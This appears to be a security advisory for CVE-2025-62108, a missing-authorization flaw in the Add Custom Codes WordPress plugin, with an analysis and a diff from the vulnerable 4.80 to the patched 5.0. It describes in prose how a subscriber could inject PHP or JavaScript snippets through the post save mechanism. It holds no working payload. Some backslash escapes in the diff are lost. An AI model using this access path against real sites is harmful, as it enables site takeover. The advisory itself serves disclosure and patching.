Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-62108: Add Custom Codes <= 4.80 – Missing Authorization (add-custom-codes)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 4.80
Patched Version 5.0
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62108:
The Add Custom Codes WordPress plugin, versions up to and including 4.80, contains a Missing Authorization vulnerability (CWE-862). This flaw allows authenticated attackers with subscriber-level access or higher to perform unauthorized actions, specifically to create and manage custom code snippets intended for administrators only. The vulnerability resides in the plugin’s custom post type (CPT) registration and associated save functions.

Atomic Edge research identified the root cause in the `custom-snippets.php` file. The plugin registers a custom post type `accodes_snippets` with insufficient capability restrictions. In the vulnerable version (lines 19-27 of the diff), the CPT uses `’capability_type’ => ‘post’`, which defaults to the standard WordPress post capabilities like `edit_posts`. This allows any user with the `edit_posts` capability, which includes subscribers, to create and edit snippets. The `accodes_save_metabox_single` function in the main plugin file also lacked a proper capability check, relying only on a nonce and a generic `edit_post` check.

The exploitation method involves an authenticated attacker, even with minimal subscriber privileges, accessing the snippet creation or editing interface. The attacker can send a POST request to the WordPress post save mechanism for the `accodes_snippets` post type. This could be done via the standard WordPress admin editor at `/wp-admin/post-new.php?post_type=accodes_snippets` or via direct AJAX/REST API calls that trigger the `save_post` hook. The payload would include the snippet code, language, and location meta fields, allowing the injection of arbitrary HTML, CSS, JavaScript, or PHP code into the site.

The patch in version 5.0 addresses the issue by implementing strict capability checks. In `custom-snippets.php`, the CPT registration is updated with a comprehensive `’capabilities’` array (lines 27-45) that sets all editing, publishing, and deletion capabilities to `’manage_options’`. This restricts snippet management to administrators only. The patch also adds an author check in the `accodes_inject_snippets` function (lines 393-396), ensuring only snippets created by users with `manage_options` capability are executed. Additional security hardening includes nonce verification and sanitization in the save handler.

Successful exploitation allows a low-privileged attacker to inject and execute arbitrary code snippets site-wide. Depending on the snippet location (header, footer, admin, frontend), this can lead to persistent cross-site scripting (XSS), site defacement, backdoor installation, or server-side code execution via PHP snippets. The injected PHP code runs with WordPress privileges, potentially leading to full site compromise, data theft, or server takeover.

Differential between vulnerable and patched code

Code Diff
--- a/add-custom-codes/add-custom-codes.php
+++ b/add-custom-codes/add-custom-codes.php
@@ -2,23 +2,17 @@
 /**
  * Plugin Name: Add Custom Codes - Insert Header, Footer, Custom Code Snippets
  * Description: Light-weight plugin to add Custom PHP Functions, HTML, CSS, Javascript, Google Analytics, Search console verification tags and other custom code snippets to your Wordpress website.
- * Version: 4.80
+ * Version: 5.0
  * Author: Saifudheen Mak
  * Author URI: https://maktalseo.com
  * License: GPL2
  * Text Domain: add-custom-codes
  */

-// If this file was called directly, abort.
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }
-
- add_action( 'init', 'accodes_load_textdomain' );
-function accodes_load_textdomain() {
-  load_plugin_textdomain( 'add-custom-codes', false, dirname( plugin_basename( __FILE__ ) ) . '/languages' );
-}
-
+
 /*----------------
 plugin links 'Plugins' page
 ------------------*/
@@ -26,7 +20,7 @@

 function accodes_action_links ( $actions ) {
    $mylinks = array(
-      '<a href="' . admin_url( 'edit.php?post_type=accodes_snippets&page=accodes-about' ) . '">Donate us</a>',
+		'<a href="' . esc_url( admin_url( 'edit.php?post_type=accodes_snippets&page=accodes-about' ) ) . '">Donate us</a>',
    );
    $actions = array_merge( $actions, $mylinks );
    return $actions;
@@ -72,7 +66,7 @@
 	wp_register_style( 'accodes-css', plugins_url( 'add-custom-codes/assets/css/style43.css' ), '', '4.259' );
 	wp_enqueue_style( 'accodes-css' );

-	wp_register_script('accodes-js', plugins_url('add-custom-codes/assets/js/scripts.js'), ['jquery', 'jquery-ui-autocomplete'], '4.79', true);
+	wp_register_script('accodes-js', plugins_url('add-custom-codes/assets/js/scripts.js'), ['jquery', 'jquery-ui-autocomplete'], '4.82', true);
 	wp_enqueue_script( 'accodes-js' );

 	// Fetch tags for autocomplete
@@ -106,7 +100,7 @@


 function accodes_settings_page() {
-	if (!current_user_can('administrator')) {
+	if (!current_user_can('manage_options')) {
         wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'add-custom-codes'));
     }

@@ -174,7 +168,7 @@
 /*----------------
  functions
 ---------------*/
-function get_current_page_id()
+function accodes_get_current_page_id()
 {
 	global $post;
 	$current_page_id = false;
@@ -190,20 +184,20 @@
 	return $current_page_id;
 }

-function get_current_taxonomy_id() {
-    if (is_tax() || is_category() || is_tag()) {
-        $term = get_queried_object();
-        if (!empty($term) && !is_wp_error($term)) {
-            return $term->term_id;
-        }
-    }
-    return false;
+function accodes_get_current_taxonomy_id() {
+	if (is_tax() || is_category() || is_tag()) {
+		$term = get_queried_object();
+		if (!empty($term) && !is_wp_error($term)) {
+			return $term->term_id;
+		}
+	}
+	return false;
 }

 /*---------------------------------
 output Global CSS
 ----------------*/
-function get_global_custom_css()
+function accodes_get_global_custom_css()
 {
 		$accodes_global_css = '';
 		$options  = get_option( 'custom-css-codes-input' );
@@ -215,19 +209,22 @@
 }


-add_action( 'wp_head', 'accodes_css_output_header' );
 function accodes_css_output_header() {
 	//check if global css to be added before footer
 	$css_on_footer = (bool) get_option('accodes_global_css_on_footer', false);
 	//put css in footer not ticked
 	if(!$css_on_footer)
 	{
-		$accodes_global_css = get_global_custom_css();
-		//escape
-		echo '<!-- Global CSS by Add Custom Codes --> <style type="text/css"> '.wp_strip_all_tags($accodes_global_css).' </style> <!-- End - Global CSS by Add Custom Codes -->';
+		$accodes_global_css = accodes_get_global_custom_css();
+		// Intentionally output admin-provided CSS without HTML-encoding so quotes stay intact.
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-provided CSS.
+		echo '<!-- Global CSS by Add Custom Codes --> <style type="text/css">'. PHP_EOL . $accodes_global_css . PHP_EOL . '</style> <!-- End - Global CSS by Add Custom Codes -->';
 	}
 }

+// Hook global CSS output into the head
+add_action( 'wp_head', 'accodes_css_output_header' );
+
 add_action( 'wp_footer', 'accodes_css_output_footer' );
 function accodes_css_output_footer() {
 	//check if global css to be added before footer
@@ -235,9 +232,10 @@
 	//put css in footer ticked
 	if($css_on_footer)
 	{
-		$accodes_global_css = get_global_custom_css();
-		//escape
-		echo '<!-- Global CSS by Add Custom Codes --> <style type="text/css"> '.wp_strip_all_tags($accodes_global_css).' </style> <!-- End - Global CSS by Add Custom Codes -->';
+		$accodes_global_css = accodes_get_global_custom_css();
+		// Intentionally output admin-provided CSS without HTML-encoding so quotes stay intact.
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-provided CSS.
+		echo '<!-- Global CSS by Add Custom Codes --> <style type="text/css">'. PHP_EOL . $accodes_global_css . PHP_EOL . '</style> <!-- End - Global CSS by Add Custom Codes -->';
 	}
 }

@@ -248,8 +246,8 @@
 function accodes_header_output() {

 	$hide_global_header = '';
-	$current_page_id = get_current_page_id();
-	$current_taxonomy_id =  get_current_taxonomy_id();
+	$current_page_id = accodes_get_current_page_id();
+	$current_taxonomy_id =  accodes_get_current_taxonomy_id();
 	$global_header_codes ='';
 	$get_single_header_codes = '';
 	$single_header_codes = '';
@@ -306,7 +304,7 @@

 	if($output !='')
 	{
-		//escape
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-provided header codes.
 		echo $output;
 	}

@@ -321,8 +319,8 @@
 function accodes_footer_output() {

 	$hide_global_footer = '';
-	$current_page_id = get_current_page_id();
-	$current_taxonomy_id = get_current_taxonomy_id();
+	$current_page_id = accodes_get_current_page_id();
+	$current_taxonomy_id = accodes_get_current_taxonomy_id();
 	$global_footer_codes ='';
 	$single_footer_codes = '';
 	$taxonomy_footer_codes = '';
@@ -373,7 +371,7 @@

 	if($output !='')
 	{
-		//escape
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-provided footer codes.
 		echo $output;
 	}

@@ -385,34 +383,39 @@
  * Individual pages
  * Create the meta boxes for Single post, page, product any other custom post type
  ------------------------------------*/
-function _accodes_create_metabox_single() {
+function accodes_create_metabox_single() {

 	$post_types = get_post_types( '', 'names' );
 	$post_types = array_merge( $post_types, array( 'post', 'page' ) );

+	$can_code = current_user_can('unfiltered_html') || current_user_can('manage_options');
+
 	foreach ( $post_types as $post_type ) {

 		if ($post_type === 'accodes_snippets') {
             continue;
         }
+		if (!$can_code) {
+			continue;
+		}

 		add_meta_box(
-					'_accodes_metabox',
-					 'Add Custom Codes by Mak',
-					 '_accodes_render_metabox',
-					 $post_type,
-					'normal',
-					 'default'
-					);
+			    '_accodes_metabox',
+			     'Add Custom Codes by Mak',
+			     'accodes_render_metabox',
+			     $post_type,
+			    'normal',
+			     'default'
+			    );
 	}

 }
-add_action( 'add_meta_boxes', '_accodes_create_metabox_single' );
+add_action( 'add_meta_boxes', 'accodes_create_metabox_single' );

 /*-------------------------------
  * Display Meta Boxes for Single
  * ----------------------------*/
-function _accodes_render_metabox() {
+function accodes_render_metabox() {
 	// Variables
 	global $post; // Get the current post data
 	$header_script = get_post_meta( $post->ID, '_accodes_header_metabox', true ); // Get the saved values
@@ -429,13 +432,14 @@
 /*-------------------------
  * update data on post save - Single
  ---------------------------*/
-function _accodes_save_metabox_single( $post_id, $post ) {
+function accodes_save_metabox_single( $post_id, $post ) {


 	// Verify nonce for security
-    if ( !isset($_POST['accodes_meta_nonce']) || !wp_verify_nonce($_POST['accodes_meta_nonce'], 'accodes_save_meta') ) {
-        return $post_id;
-    }
+	$acc_meta_nonce = isset($_POST['accodes_meta_nonce']) ? sanitize_text_field( wp_unslash($_POST['accodes_meta_nonce']) ) : '';
+	if ( !$acc_meta_nonce || !wp_verify_nonce($acc_meta_nonce, 'accodes_save_meta') ) {
+		return $post_id;
+	}

 	// Verify user has permission to edit post
 	if ( !current_user_can( 'edit_post', $post->ID )) {
@@ -458,18 +462,36 @@



-	$allowed_html = [
-            'script' => ['type' => [], 'src' => [], 'async' => [], 'defer' => []],
-            'style' => ['type' => []],
-            'meta' => ['name' => [], 'content' => [], 'charset' => []],
-            'link' => ['rel' => [], 'href' => [], 'type' => []],
-            'div' => ['class' => [], 'id' => [], 'style' => []],
-            'span' => ['class' => [], 'style' => []],
-            'p' => ['class' => [], 'style' => []],
-            'a' => ['href' => [], 'title' => [], 'target' => []],
-            'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
-            'iframe' => ['src' => [], 'width' => [], 'height' => [], 'frameborder' => [], 'allowfullscreen' => []],
-        ];
+	$privileged = current_user_can('unfiltered_html') || current_user_can('manage_options');
+	if ($privileged) {
+		$allowed_html = [
+			'script' => ['type' => [], 'src' => [], 'async' => [], 'defer' => []],
+			'style' => ['type' => []],
+			'meta' => ['name' => [], 'content' => [], 'charset' => []],
+			'link' => ['rel' => [], 'href' => [], 'type' => []],
+			'div' => ['class' => [], 'id' => [], 'style' => []],
+			'span' => ['class' => [], 'style' => []],
+			'p' => ['class' => [], 'style' => []],
+			'a' => ['href' => [], 'title' => [], 'target' => []],
+			'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
+			'iframe' => ['src' => [], 'width' => [], 'height' => [], 'frameborder' => [], 'allowfullscreen' => []],
+		];
+	} else {
+		// Restrictive for non-privileged users (no scripts/styles/iframes/meta/link)
+		$allowed_html = [
+			'div' => ['class' => [], 'id' => [], 'style' => []],
+			'span' => ['class' => [], 'style' => []],
+			'p' => ['class' => [], 'style' => []],
+			'a' => ['href' => [], 'title' => [], 'target' => []],
+			'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
+			'ul' => ['class' => [], 'style' => []],
+			'ol' => ['class' => [], 'style' => []],
+			'li' => ['class' => [], 'style' => []],
+			'strong' => [],
+			'em' => [],
+			'br' => [],
+		];
+	}



@@ -494,26 +516,28 @@
 	update_post_meta( $post->ID, 'accodes_hide_footer', $hide_footer );

 }
-add_action( 'save_post', '_accodes_save_metabox_single', 10, 2 );
+add_action( 'save_post', 'accodes_save_metabox_single', 10, 2 );


 /*
  * single meta end
  * -----------------------------------------------*/

-function get_current_term_id() {
-    if (isset($_GET['tag_ID'])) {
-        return intval($_GET['tag_ID']);
-    }
-    return 0;
+function accodes_get_current_term_id() {
+	// Prefer queried term object over direct access to $_GET['tag_ID']
+	$term = get_queried_object();
+	return ( $term && isset( $term->term_id ) ) ? absint( $term->term_id ) : 0;
 }

 // Register meta box
 function accodes_render_taxonomy_meta_box() {
    $taxonomies = get_taxonomies();
     foreach ($taxonomies as $taxonomy) {
-        add_action("{$taxonomy}_edit_form", function($tag) use ($taxonomy) {
-			$term_id = get_current_term_id();
+		add_action("{$taxonomy}_edit_form", function($tag) use ($taxonomy) {
+			if (!current_user_can('unfiltered_html') && !current_user_can('manage_options')) {
+				return;
+			}
+			$term_id = isset($tag->term_id) ? (int) $tag->term_id : 0;
 			$header_script = get_term_meta( $term_id, '_accodes_header_metabox', true );
 			$footer_script = get_term_meta( $term_id, '_accodes_footer_metabox', true );
 			$hide_header  = get_term_meta( $term_id, 'accodes_hide_header', true );
@@ -529,22 +553,44 @@
 function accodes_save_taxonomy_meta_data($term_id) {

 	 // Verify nonce for security
-    if (!isset($_POST['accodes_tax_meta_nonce']) || !wp_verify_nonce($_POST['accodes_tax_meta_nonce'], 'accodes_save_tax_meta')) {
-        return $term_id;
-    }
-
-	$allowed_html = [
-            'script' => ['type' => [], 'src' => [], 'async' => [], 'defer' => []],
-            'style' => ['type' => []],
-            'meta' => ['name' => [], 'content' => [], 'charset' => []],
-            'link' => ['rel' => [], 'href' => [], 'type' => []],
-            'div' => ['class' => [], 'id' => [], 'style' => []],
-            'span' => ['class' => [], 'style' => []],
-            'p' => ['class' => [], 'style' => []],
-            'a' => ['href' => [], 'title' => [], 'target' => []],
-            'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
-            'iframe' => ['src' => [], 'width' => [], 'height' => [], 'frameborder' => [], 'allowfullscreen' => []],
-        ];
+	$tax_meta_nonce = isset($_POST['accodes_tax_meta_nonce']) ? sanitize_text_field( wp_unslash($_POST['accodes_tax_meta_nonce']) ) : '';
+	if (!$tax_meta_nonce || !wp_verify_nonce($tax_meta_nonce, 'accodes_save_tax_meta')) {
+		return $term_id;
+	}
+
+	if (!current_user_can('edit_term', $term_id)) {
+		return $term_id;
+	}
+
+	$privileged = current_user_can('unfiltered_html') || current_user_can('manage_options');
+	if ($privileged) {
+		$allowed_html = [
+			'script' => ['type' => [], 'src' => [], 'async' => [], 'defer' => []],
+			'style' => ['type' => []],
+			'meta' => ['name' => [], 'content' => [], 'charset' => []],
+			'link' => ['rel' => [], 'href' => [], 'type' => []],
+			'div' => ['class' => [], 'id' => [], 'style' => []],
+			'span' => ['class' => [], 'style' => []],
+			'p' => ['class' => [], 'style' => []],
+			'a' => ['href' => [], 'title' => [], 'target' => []],
+			'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
+			'iframe' => ['src' => [], 'width' => [], 'height' => [], 'frameborder' => [], 'allowfullscreen' => []],
+		];
+	} else {
+		$allowed_html = [
+			'div' => ['class' => [], 'id' => [], 'style' => []],
+			'span' => ['class' => [], 'style' => []],
+			'p' => ['class' => [], 'style' => []],
+			'a' => ['href' => [], 'title' => [], 'target' => []],
+			'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
+			'ul' => ['class' => [], 'style' => []],
+			'ol' => ['class' => [], 'style' => []],
+			'li' => ['class' => [], 'style' => []],
+			'strong' => [],
+			'em' => [],
+			'br' => [],
+		];
+	}


 	//get value of meta boxes
--- a/add-custom-codes/custom-snippets.php
+++ b/add-custom-codes/custom-snippets.php
@@ -1,4 +1,9 @@
 <?php
+
+// If this file was called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 //Register post type
 function accodes_register_snippets_cpt() {
     register_post_type('accodes_snippets', array(
@@ -19,8 +24,25 @@
         ),
         'public' => false,
         'show_ui' => true,
-        'show_in_menu' => true,
+        'show_in_menu' => true,
+        // Restrict management of snippets to administrators (or roles with manage_options)
         'capability_type' => 'post',
+        'capabilities' => array(
+            'edit_post'              => 'manage_options',
+            'read_post'              => 'manage_options',
+            'delete_post'            => 'manage_options',
+            'edit_posts'             => 'manage_options',
+            'edit_others_posts'      => 'manage_options',
+            'publish_posts'          => 'manage_options',
+            'read_private_posts'     => 'manage_options',
+            'create_posts'           => 'manage_options',
+            'delete_posts'           => 'manage_options',
+            'delete_private_posts'   => 'manage_options',
+            'delete_published_posts' => 'manage_options',
+            'delete_others_posts'    => 'manage_options',
+            'edit_private_posts'     => 'manage_options',
+            'edit_published_posts'   => 'manage_options',
+        ),
         'supports' => array('title'),
         'menu_icon' => plugins_url('add-custom-codes/assets/images/accodes-menu-icon.svg'),
         'menu_position' => 60,
@@ -128,7 +150,7 @@
 	if ($active === '0' && $post->post_status !== 'publish') {
    		 $active = '1';
 	}
-	$notes = get_post_meta($post->ID, '_accodes_snippet_notes', true);
+    $notes = get_post_meta($post->ID, '_accodes_snippet_notes', true);
 	$tags_raw = get_post_meta($post->ID, '_accodes_snippet_tags', true);
 	$tags_array = $tags_raw ? explode(',', $tags_raw) : [];

@@ -148,8 +170,29 @@
 		</script>";
 		}

+    // Provide safe default templates only when empty
+    if (trim((string) $content) === '') {
+        switch ($language) {
+            case 'javascript':
+                $content = '/* Add your scripts here. You can remove example code */' . "n" . 'console.log("code loaded.");' . "n";
+                break;
+            case 'css':
+                $content = '/* Your CSS here */' . "n" . '.selector {' . "ntn}" . "n";
+                break;
+            case 'htmlmixed':
+                $content = '<!-- Add your HTML here. You can remove example code-->' . "n" . '<div></div>' . "n";
+                break;
+            case 'php':
+            default:
+                // No explicit PHP open/close tags; runner evaluates raw PHP body.
+                $content = '// Your PHP here' . "n";
+                break;
+        }
+    }
+
     ?>
     <div class="postbox accodes-meta-wrapper">
+        <?php wp_nonce_field('accodes_save_snippet_meta', 'accodes_snippet_meta_nonce'); ?>
         <div class="accodes-group above-accodes-tab">
             <div class="accodes-group accodes-theme-toggle" style="display: flex; justify-content: flex-end; align-items: center;">
 				<label class="accodes-switch">
@@ -260,48 +303,100 @@
 add_action('save_post', function ($post_id) {
     if (get_post_type($post_id) !== 'accodes_snippets') return;

-    $code     = $_POST['accodes_code_editor'] ?? '';
-    $language = $_POST['accodes_snippet_language'] ?? '';
+    if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return;
+    if (wp_is_post_revision($post_id)) return;
+
+    $nonce = isset($_POST['accodes_snippet_meta_nonce']) ? sanitize_text_field( wp_unslash($_POST['accodes_snippet_meta_nonce']) ) : '';
+    if (!$nonce || !wp_verify_nonce( $nonce, 'accodes_save_snippet_meta')) return;
+    if (!current_user_can('edit_post', $post_id)) return;
+
+    // Raw code is stored by design; validated on execution and escaped on output where applicable.
+    // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+    $code     = isset($_POST['accodes_code_editor']) ? wp_unslash($_POST['accodes_code_editor']) : '';
+    $language = isset($_POST['accodes_snippet_language']) ? sanitize_text_field( wp_unslash($_POST['accodes_snippet_language']) ) : '';
     $active   = isset($_POST['accodes_snippet_active']) ? '1' : '0';

     // Save core meta
-    update_post_meta($post_id, '_accodes_code', wp_unslash($code));
-    update_post_meta($post_id, '_accodes_snippet_language', sanitize_text_field($language));
-    update_post_meta($post_id, '_accodes_snippet_location', sanitize_text_field($_POST['accodes_snippet_location'] ?? ''));
-    update_post_meta($post_id, '_accodes_snippet_notes', sanitize_textarea_field($_POST['accodes_snippet_notes'] ?? ''));
+    update_post_meta($post_id, '_accodes_code', $code);
+    update_post_meta($post_id, '_accodes_snippet_language', $language);
+    $location = isset($_POST['accodes_snippet_location']) ? sanitize_text_field( wp_unslash($_POST['accodes_snippet_location']) ) : '';
+    $notes    = isset($_POST['accodes_snippet_notes']) ? sanitize_textarea_field( wp_unslash($_POST['accodes_snippet_notes']) ) : '';
+    update_post_meta($post_id, '_accodes_snippet_location', $location);
+    update_post_meta($post_id, '_accodes_snippet_notes', $notes);
     update_post_meta($post_id, '_accodes_snippet_active', $active);

     // Save tags
-    if (isset($_POST['accodes_tags']) && is_array($_POST['accodes_tags'])) {
-        $tags = array_map('sanitize_text_field', $_POST['accodes_tags']);
+    // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Collected then sanitized per-item below
+    $raw_tags_input = isset($_POST['accodes_tags']) ? wp_unslash($_POST['accodes_tags']) : null;
+    if (is_array($raw_tags_input)) {
+        $raw_tags = array_map('strval', $raw_tags_input);
+        $tags = array_map('sanitize_text_field', $raw_tags);
         wp_set_post_terms($post_id, $tags, 'accodes_tag');
     }
 	if ($language === 'php') {
 		delete_post_meta($post_id, '_accodes_snippet_error'); // clear old errors
 	}
+    // Clear cached snippet lists for all locations when a snippet is saved.
+    if ( function_exists( 'set_transient' ) ) {
+        $locations = [ 'site', 'admin', 'frontend', 'shortcode', 'head', 'footer' ];
+        foreach ( $locations as $loc ) {
+            delete_transient( 'accodes_snippet_ids_' . md5( (string) $loc ) );
+        }
+    }

 });

 function accodes_inject_snippets($location) {
-    $args = [
-        'post_type'      => 'accodes_snippets',
-        'post_status'    => 'publish',
-        'posts_per_page' => -1,
-        'meta_query'     => [
-            [
-                'key'   => '_accodes_snippet_active',
-                'value' => '1',
+    // Use a short-lived transient to cache snippet IDs per location and avoid expensive meta_query on every request.
+    $cache_key = 'accodes_snippet_ids_' . md5( (string) $location );
+    $ids = get_transient( $cache_key );
+    if ( false === $ids ) {
+        // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query -- Results are cached in a transient to avoid running this meta_query on every request.
+        $query_args = [
+            'post_type'      => 'accodes_snippets',
+            'post_status'    => 'publish',
+            'posts_per_page' => -1,
+            'fields'         => 'ids', // only IDs to keep the query light
+            'no_found_rows'  => true,
+            'meta_query'     => [
+                [
+                    'key'   => '_accodes_snippet_active',
+                    'value' => '1',
+                ],
+                [
+                    'key'   => '_accodes_snippet_location',
+                    'value' => $location,
+                ],
             ],
-            [
-                'key'   => '_accodes_snippet_location',
-                'value' => $location,
-            ]
-        ],
-    ];
+        ];

-    $snippets = get_posts($args);
+        $ids = get_posts( $query_args );
+        if ( ! is_array( $ids ) ) {
+            $ids = [];
+        }
+        // Cache for 5 minutes
+        set_transient( $cache_key, $ids, 5 * MINUTE_IN_SECONDS );
+    }
+
+    if ( empty( $ids ) ) {
+        return;
+    }
+
+    // Fetch posts by IDs preserving order
+    $snippets = get_posts([
+        'post_type' => 'accodes_snippets',
+        'post_status' => 'publish',
+        'posts_per_page' => count( $ids ),
+        'post__in' => $ids,
+        'orderby' => 'post__in',
+        'no_found_rows' => true,
+    ]);

     foreach ($snippets as $snippet) {
+    // Only run snippets created by users with administrative capability
+    if (!user_can((int) $snippet->post_author, 'manage_options')) {
+        continue;
+    }
     $language = get_post_meta($snippet->ID, '_accodes_snippet_language', true);
     $code     = get_post_meta($snippet->ID, '_accodes_code', true);

@@ -312,9 +407,10 @@
                 if (!is_admin()) {
                     $cleaned = preg_replace('/^s*<?(php)?/', '', trim($code));
                     try {
-                        eval($cleaned);
-                        delete_post_meta($snippet->ID, '_accodes_snippet_error'); // clear old errors
-                    } catch (Throwable $e) {
+                        // phpcs:ignore WordPress.Security.EvalDetected -- Intentionally executing admin-authored PHP snippets; access is restricted to administrators (snippet authors must have 'manage_options').
+                        eval( $cleaned );
+                        delete_post_meta( $snippet->ID, '_accodes_snippet_error' ); // clear old errors
+                    } catch ( Throwable $e ) {
                         // Auto-deactivate the snippet
                         update_post_meta($snippet->ID, '_accodes_snippet_active', '0');
                         // Log error
@@ -328,15 +424,19 @@
         break;

         case 'css':
-            echo "<style>n" . trim($code) . "n</style>n";
+            // Intentionally output admin-authored CSS without HTML-encoding so quotes stay intact.
+            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-authored CSS; restricted to manage_options.
+            echo "<style>n" . trim( (string) $code ) . "n</style>n";
             break;

         case 'javascript':
-            echo "<script>n" . trim($code) . "n</script>n";
+            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-authored JS for a code injection plugin; restricted to manage_options.
+            echo "<script>n" . trim( (string) $code ) . "n</script>n";
             break;

         case 'htmlmixed':
         default:
+            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-authored HTML; restricted to manage_options and sanitized for non-privileged.
             echo $code;
             break;
     }
@@ -377,7 +477,7 @@
                 break;
         }

-        echo $badge;
+        echo wp_kses( $badge, [ 'span' => [ 'class' => [] ] ] );
     }
 	if ($column === 'accodes_health') {
         $error = get_post_meta($post_id, '_accodes_snippet_error', true);
@@ -389,10 +489,10 @@
     }
     if ($column === 'accodes_status') {
         $active = get_post_meta($post_id, '_accodes_snippet_active', true);
-        $checked = $active == '1' ? 'checked' : '';
+        $is_checked = ($active === '1');
         echo '
             <label class="accodes-switch">
-                <input type="checkbox" data-id="' . $post_id . '" class="accodes-toggle-snippet" ' . $checked . '>
+                <input type="checkbox" data-id="' . esc_attr( (string) $post_id ) . '" class="accodes-toggle-snippet"' . ( $is_checked ? ' checked="checked"' : '' ) . '>
                 <span class="slider"></span>
             </label>
         ';
@@ -408,10 +508,14 @@
 add_action('wp_ajax_accodes_toggle_snippet_status', function () {
     check_ajax_referer('accodes_toggle_snippet');

-    $post_id = intval($_POST['post_id'] ?? 0);
-    $active = $_POST['active'] === '1' ? '1' : '0';
+    $post_id    = isset($_POST['post_id']) ? intval( wp_unslash($_POST['post_id']) ) : 0;
+    $active_raw = isset($_POST['active']) ? sanitize_text_field( wp_unslash($_POST['active']) ) : null;
+    $active     = ($active_raw === '1') ? '1' : '0';

     if ($post_id && get_post_type($post_id) === 'accodes_snippets') {
+        if (!current_user_can('edit_post', $post_id)) {
+            wp_send_json_error(['message' => 'Permission denied'], 403);
+        }
         update_post_meta($post_id, '_accodes_snippet_active', $active);
         wp_send_json_success(['status' => $active]);
     }
@@ -427,6 +531,9 @@

         if (!$post_id || get_post_type($post_id) !== 'accodes_snippets') return '';

+        $snippet = get_post($post_id);
+        if (!$snippet || !user_can((int) $snippet->post_author, 'manage_options')) return '';
+
         $location = get_post_meta($post_id, '_accodes_snippet_location', true);
         $active   = get_post_meta($post_id, '_accodes_snippet_active', true);
         $content  = get_post_meta($post_id, '_accodes_code', true);
--- a/add-custom-codes/deactivate/deactivate.php
+++ b/add-custom-codes/deactivate/deactivate.php
@@ -1,5 +1,8 @@
 <?php
-
+// If this file was called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 add_action('admin_enqueue_scripts', 'accodes_enqueue_deactivation_feedback');
 function accodes_enqueue_deactivation_feedback($hook) {
     if ($hook !== 'plugins.php') {
--- a/add-custom-codes/global-form.php
+++ b/add-custom-codes/global-form.php
@@ -4,9 +4,11 @@
 	exit;
 }
 ?>
-<?php if (isset($_GET['settings-updated'])) : ?>
+<?php
+// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- value comes from Settings API redirect after a verified save.
+if ( isset( $_GET['settings-updated'] ) && sanitize_text_field( wp_unslash( $_GET['settings-updated'] ) ) ) : ?>
 	<div class="notice notice-success is-dismissible"><p><?php esc_html_e('Changes saved! Please clear your cache if the changes are not reflected on the website.', 'add-custom-codes'); ?></p></div>
-<?php endif ?>
+<?php endif; ?>

 <div class="wrap">
 <h2><?php esc_html_e( 'Add Custom Codes by Mak', 'add-custom-codes' ) ?></h2>
@@ -18,21 +20,21 @@
 			<?php do_settings_sections( 'accodes-settings-group' ); ?>

 			<?php
-			$global_css = "";
-			$global_css = get_option('custom-css-codes-input');
+			$accodes_global_css = "";
+			$accodes_global_css = get_option('custom-css-codes-input');
 			?>
 			<p><label for="custom-css-codes-input" class="accodes-label green-label"><?php esc_html_e( 'Custom CSS (Global)', 'add-custom-codes' ) ?></label><br/>
 You can add custom css (global) codes below. DO NOT INCLUDE <em><style></em> and <em></style></em> tags:</p>
-				<textarea class="codemirror-accodes-css" id="custom-css-codes-input" name="custom-css-codes-input"><?php echo esc_attr( $global_css ); ?></textarea>
+				<textarea class="codemirror-accodes-css" id="custom-css-codes-input" name="custom-css-codes-input"><?php echo esc_attr( $accodes_global_css ); ?></textarea>

 			<?php
 			//	$css_on_footer ='';
-				$css_on_footer = get_option('accodes_global_css_on_footer', false);
+				$accodes_css_on_footer = get_option('accodes_global_css_on_footer', false);
 			?>
 			<p>
                 <label for="accodes_global_css_on_footer" class="accodes-checkbox-label">
-                            <input type="checkbox" <?php echo checked( $css_on_footer, 1, false ); ?>
-                                   name="accodes_global_css_on_footer" id="accodes_global_css_on_footer" value="1"/>
+							<input type="checkbox" <?php echo checked( $accodes_css_on_footer, 1, false ); ?>
+								name="accodes_global_css_on_footer" id="accodes_global_css_on_footer" value="1"/>
 							Insert Custom CSS before <em></body></em> of website.
 				</label><br/>
 				By default, the plugin adds Custom CSS before <em></head></em> section of your website.
--- a/add-custom-codes/includes/about-accodes.php
+++ b/add-custom-codes/includes/about-accodes.php
@@ -1,3 +1,11 @@
+<?php
+
+// If this file was called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+?>
 <div class="accodes-about-wrap">

     <div class="accodes-card">
--- a/add-custom-codes/includes/import-export.php
+++ b/add-custom-codes/includes/import-export.php
@@ -1,12 +1,20 @@
 <?php
+
+// If this file was called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 // Export Snippets Handler
 add_action('admin_post_accodes_export_snippets', function () {
     if (!current_user_can('manage_options')) {
         wp_die('Permission denied');
     }

